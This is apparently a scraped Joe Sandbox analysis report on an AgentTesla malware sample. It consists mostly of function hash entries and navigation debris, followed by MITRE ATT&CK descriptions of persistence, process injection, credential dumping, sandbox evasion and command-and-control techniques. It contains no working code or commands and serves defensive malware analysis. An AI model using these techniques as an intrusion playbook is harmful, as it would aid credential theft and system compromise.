Opcode Fuzzy Hash: 5a68d1e39f9c10defe6c0c796be96a9e71d2e4a02b16f34bc173471d07c6187c
Instruction Fuzzy Hash: DEE01A313043095BCB149A1AF884C4BFF9EEEC0264710CA3AA10A87229DE74ED4AC694

Function 05FC4FB8 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2246781220.0000000005FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5fb0000_itdtn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7a145678c68de5afd711f3a6292a144c4b599ce18a3f13651dad0f9577a81ee
Instruction ID: 504edcea1c4b41517f2dbfc65e7e74a4a2f5a021368c4bf1048011def5968846
Opcode Fuzzy Hash: f7a145678c68de5afd711f3a6292a144c4b599ce18a3f13651dad0f9577a81ee
Instruction Fuzzy Hash: 17E0C974D05208EFCB54DFA8D54469CBBF5EB48311F10C1A99809A3351D6359A51DF84

Function 05FC8F88 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2246781220.0000000005FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5fb0000_itdtn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7a145678c68de5afd711f3a6292a144c4b599ce18a3f13651dad0f9577a81ee
Instruction ID: c0721e98d90fe37b4c9ccc08b920f271a14bd8546a2a3bd97c668f2b752d57dc
Opcode Fuzzy Hash: f7a145678c68de5afd711f3a6292a144c4b599ce18a3f13651dad0f9577a81ee
Instruction Fuzzy Hash: CDE0C274E09208EFCB94DFA8D940AACBBF5EB48310F10C1AA9809A3355D6369A51DF80

Function 05FB5C1B Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2246781220.0000000005FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5fb0000_itdtn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b204a46dc6c3d5860a67d643bf9f51b5f56c8f6a483d639fcde719f0a6818533
Instruction ID: dd443f7c3fc17aaaf119b2410d59c80856ace3ff8bcb1e86eb506e3340b5887e
Opcode Fuzzy Hash: b204a46dc6c3d5860a67d643bf9f51b5f56c8f6a483d639fcde719f0a6818533
Instruction Fuzzy Hash: CCF03A74A00218CFEB54DF64C884E9E7BB2FB58310F1041D6D009A3354CE705E818F90

Function 05FCC018 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2246781220.0000000005FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5fb0000_itdtn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7a145678c68de5afd711f3a6292a144c4b599ce18a3f13651dad0f9577a81ee
Instruction ID: a9fe850dff31a3cc92dde242954ab3d96bd3779cc87dfda74e94dca64b22f8c4
Opcode Fuzzy Hash: f7a145678c68de5afd711f3a6292a144c4b599ce18a3f13651dad0f9577a81ee
Instruction Fuzzy Hash: 80E0C974D05208EFCB54DFA8D54169CBBF5EB88311F14C1A9D81993351D6359A51DF40

Function 05B037C8 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2244982026.0000000005B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5b00000_itdtn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7dbef9be145dbea457313e318bde6b9d54ce6d5c512733a520780db2715fb817
Instruction ID: 5010b4c3728a72bc09809c592db941c3226d0522e921db8f45dd098c32612185
Opcode Fuzzy Hash: 7dbef9be145dbea457313e318bde6b9d54ce6d5c512733a520780db2715fb817
Instruction Fuzzy Hash: DAE08C31784308AFCB64B664880DB72BADAAF45615F6418EAE6079B2C0DD62F8018361

Function 05FB7A39 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2246781220.0000000005FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5fb0000_itdtn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ef2bf72ca8ab3ed36a02a7d178e5406dbbc8f069351aaa815bf815d3517dc31
Instruction ID: 3767d5486c87516c743a4cef646b7ee10076e1e4541ac40b80a2eb2eea5fa0d7
Opcode Fuzzy Hash: 8ef2bf72ca8ab3ed36a02a7d178e5406dbbc8f069351aaa815bf815d3517dc31
Instruction Fuzzy Hash: 1BF0A079801228CFDF20CF20C948BD8BBB2EB04314F9042D6C44993281D7380E82DF00

Function 05FCD410 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2246781220.0000000005FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5fb0000_itdtn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2125fc805585c30ea2da09e516c4e566cbc67713360ccb6cc8e84bc128949e05
Instruction ID: 77cc1515e0503c9e5427d118269f03fe2efa10b634e3f3e16bce5c15df00df78
Opcode Fuzzy Hash: 2125fc805585c30ea2da09e516c4e566cbc67713360ccb6cc8e84bc128949e05
Instruction Fuzzy Hash: 64E01A70D0920C9FCB50EFB8D9456AD7EB5AB48206F9041FA990993354DA705A908B81

Function 05FCECE8 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2246781220.0000000005FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5fb0000_itdtn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 774cc52dbe0765bd0193b7ff3161fc67e169e5a4fe3d2ecd45f63e54ed68e8df
Instruction ID: 381cf622c49c6322ea0e84f362b511edfbe4a99d57fc57634f18c9c97e80d149
Opcode Fuzzy Hash: 774cc52dbe0765bd0193b7ff3161fc67e169e5a4fe3d2ecd45f63e54ed68e8df
Instruction Fuzzy Hash: F9E0DF74809108AFC700CFA4D5009ACBFBCAB45300F14C0EDD80453345C6319A41DB90

Function 05FC7980 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2246781220.0000000005FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5fb0000_itdtn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab6b7c75a94fcbb1d9877d480cb272738fa59e7dbedc0ac3788bdd927f4aa68b
Instruction ID: 55e82bd25b5e03fcf1413a2a5fe401e2db793ae0e8d8fab8454db53b592f9f04
Opcode Fuzzy Hash: ab6b7c75a94fcbb1d9877d480cb272738fa59e7dbedc0ac3788bdd927f4aa68b
Instruction Fuzzy Hash: 51E01234D0A208AFCB54EFA8D6416ACFBB9EB88201F10C1EED85857351D6369A42DF80

Function 05FC9FA0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2246781220.0000000005FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5fb0000_itdtn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9a3edfcb14a689ed2144a5c5876d2c056a3a6b797b313927ec1bf25aed317e6
Instruction ID: feaf627e8781eec73a4bc06693279b9346c67ec93d7298dcb22fa7265af39619
Opcode Fuzzy Hash: c9a3edfcb14a689ed2144a5c5876d2c056a3a6b797b313927ec1bf25aed317e6
Instruction Fuzzy Hash: 75E0EC70D56208DFCB50EFB8D64569DBFF8AB04701F5081EDDC0993350E6705A90CB41

Function 05FCC818 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2246781220.0000000005FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5fb0000_itdtn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64677a5c61d8e58f1b21b7b6ea1f8394fa178ce38324cbec765028b195bbb855
Instruction ID: 82873f5bc28f615109cedadec0c962508a5b931ecd327fde95943cad750a2550
Opcode Fuzzy Hash: 64677a5c61d8e58f1b21b7b6ea1f8394fa178ce38324cbec765028b195bbb855
Instruction Fuzzy Hash: C8E08C34D09108DBC704DFA4D6405AEBBB8AB85300F68D1ECC80823381CA329E42CB80

Function 05B0A1F9 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2244982026.0000000005B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5b00000_itdtn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f1a4cee480e115a8fc78a7c7a0d60a0c51c358c2049495399def68dca4abb1a
Instruction ID: b7151c6380ade44eccc81a9336c63521dd328ca67b227e8486d13c3f8a585376
Opcode Fuzzy Hash: 9f1a4cee480e115a8fc78a7c7a0d60a0c51c358c2049495399def68dca4abb1a
Instruction Fuzzy Hash: D3D02B31304B154BD791D32CB9407563BE59B8C100B048668E445C3305DF20EC4643D8

Function 05FCCBC8 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2246781220.0000000005FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5fb0000_itdtn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2091f181600cac4d9859040f84f3888ebe9f954d7420c1f3c7526f5f1d2df61c
Instruction ID: 0bf2908cc556914ff01675993e781d6ef3b8c002e7d21319a59f072b687b25fc
Opcode Fuzzy Hash: 2091f181600cac4d9859040f84f3888ebe9f954d7420c1f3c7526f5f1d2df61c
Instruction Fuzzy Hash: 13C02B31CDF3068EC26C2AD4670C3B83FDCD70B316F8458B4A00F01029CE645890C224

Function 05B0E5B8 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2244982026.0000000005B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5b00000_itdtn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0d0df0a84594b65b03d05935d4fbc670534be61227cd89ab55a3474d9dfdb8d
Instruction ID: 3381e4393643bddc077c9d07fb62cf86e5124858a983287b7261c1be870767f4
Opcode Fuzzy Hash: f0d0df0a84594b65b03d05935d4fbc670534be61227cd89ab55a3474d9dfdb8d
Instruction Fuzzy Hash: FAD0A9342003449BC300DB28F801E817F24BB16220F9040C4F99287332C323A410EA50

Function 05B0C6A0 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2244982026.0000000005B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5b00000_itdtn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06728c3646c7ef1933b277592edd40061a54d94ed509138ef41671ab602cdcb4
Instruction ID: 4edb6a46c7f921b9798b703344f881569a596b4aba63144767af0c0239011421
Opcode Fuzzy Hash: 06728c3646c7ef1933b277592edd40061a54d94ed509138ef41671ab602cdcb4
Instruction Fuzzy Hash: 1BD02234200644DFD340DB39F406E807F64EB16A24FC08084F80587233C332A844CF02

Function 05B0FF71 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2244982026.0000000005B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5b00000_itdtn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 113da7e1dea2925eb47426d752f44ceb07621c39f1a0d9f37b2cc39986ef4132
Instruction ID: 4a0d5d2c33e7be696c4846a331a7a1d7bc6da3f96e8671fe30ae9c1be503a5e2
Opcode Fuzzy Hash: 113da7e1dea2925eb47426d752f44ceb07621c39f1a0d9f37b2cc39986ef4132
Instruction Fuzzy Hash: 9EC012791002009FDB054F14D5857197B72D7D1300FD58474A01493B40CA399C51EB25

Function 05B0A1E1 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2244982026.0000000005B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5b00000_itdtn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d05d19e9ac2921a088eefe70bbf706bf4c1068fc1ed08209c9759521dcf30f2
Instruction ID: 143e325879d82f0382b52a1339b75cc40f1e84cfe0231ef0b7b637f500e50779
Opcode Fuzzy Hash: 5d05d19e9ac2921a088eefe70bbf706bf4c1068fc1ed08209c9759521dcf30f2
Instruction Fuzzy Hash: 76B09B4450A68057E352731824017BA6F85F707111ECCA5D8644B834D599051041D1C1

Function 05B0C6B0 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2244982026.0000000005B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5b00000_itdtn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9145439845d19ed285ef8ed2e2731e53e84310996d3e08af64ba1494253e8755
Instruction ID: a5ced1602b898661de329531365079a034e3d75a808f59c5ffcbefa728424f66
Opcode Fuzzy Hash: 9145439845d19ed285ef8ed2e2731e53e84310996d3e08af64ba1494253e8755
Instruction Fuzzy Hash: 58C0927A140208EFC700DF69E848C85BBB8EF1977171180A1FA088B332C732EC60DA94

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Copy#51007602.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Copy#51007602.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\itdtn.exe.log

C:\Users\user\AppData\Roaming\itdtn.exe

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Resources

Windows Analysis Report
Copy#51007602.exe

Function 00F18AF0 Relevance: 7.2, Strings: 5, Instructions: 983
COMMON

Function 00F18ADF Relevance: 4.0, Strings: 3, Instructions: 245
COMMON

Function 00F1B1A7 Relevance: 3.6, Strings: 2, Instructions: 1103
COMMON

Function 05470808 Relevance: 2.0, Strings: 1, Instructions: 708
COMMON

Function 04EF7AA8 Relevance: 4.2, Strings: 3, Instructions: 483
COMMON

Function 04EF9768 Relevance: 4.1, Strings: 3, Instructions: 370
COMMON

Function 04EFDD2F Relevance: 4.1, Strings: 3, Instructions: 369
COMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre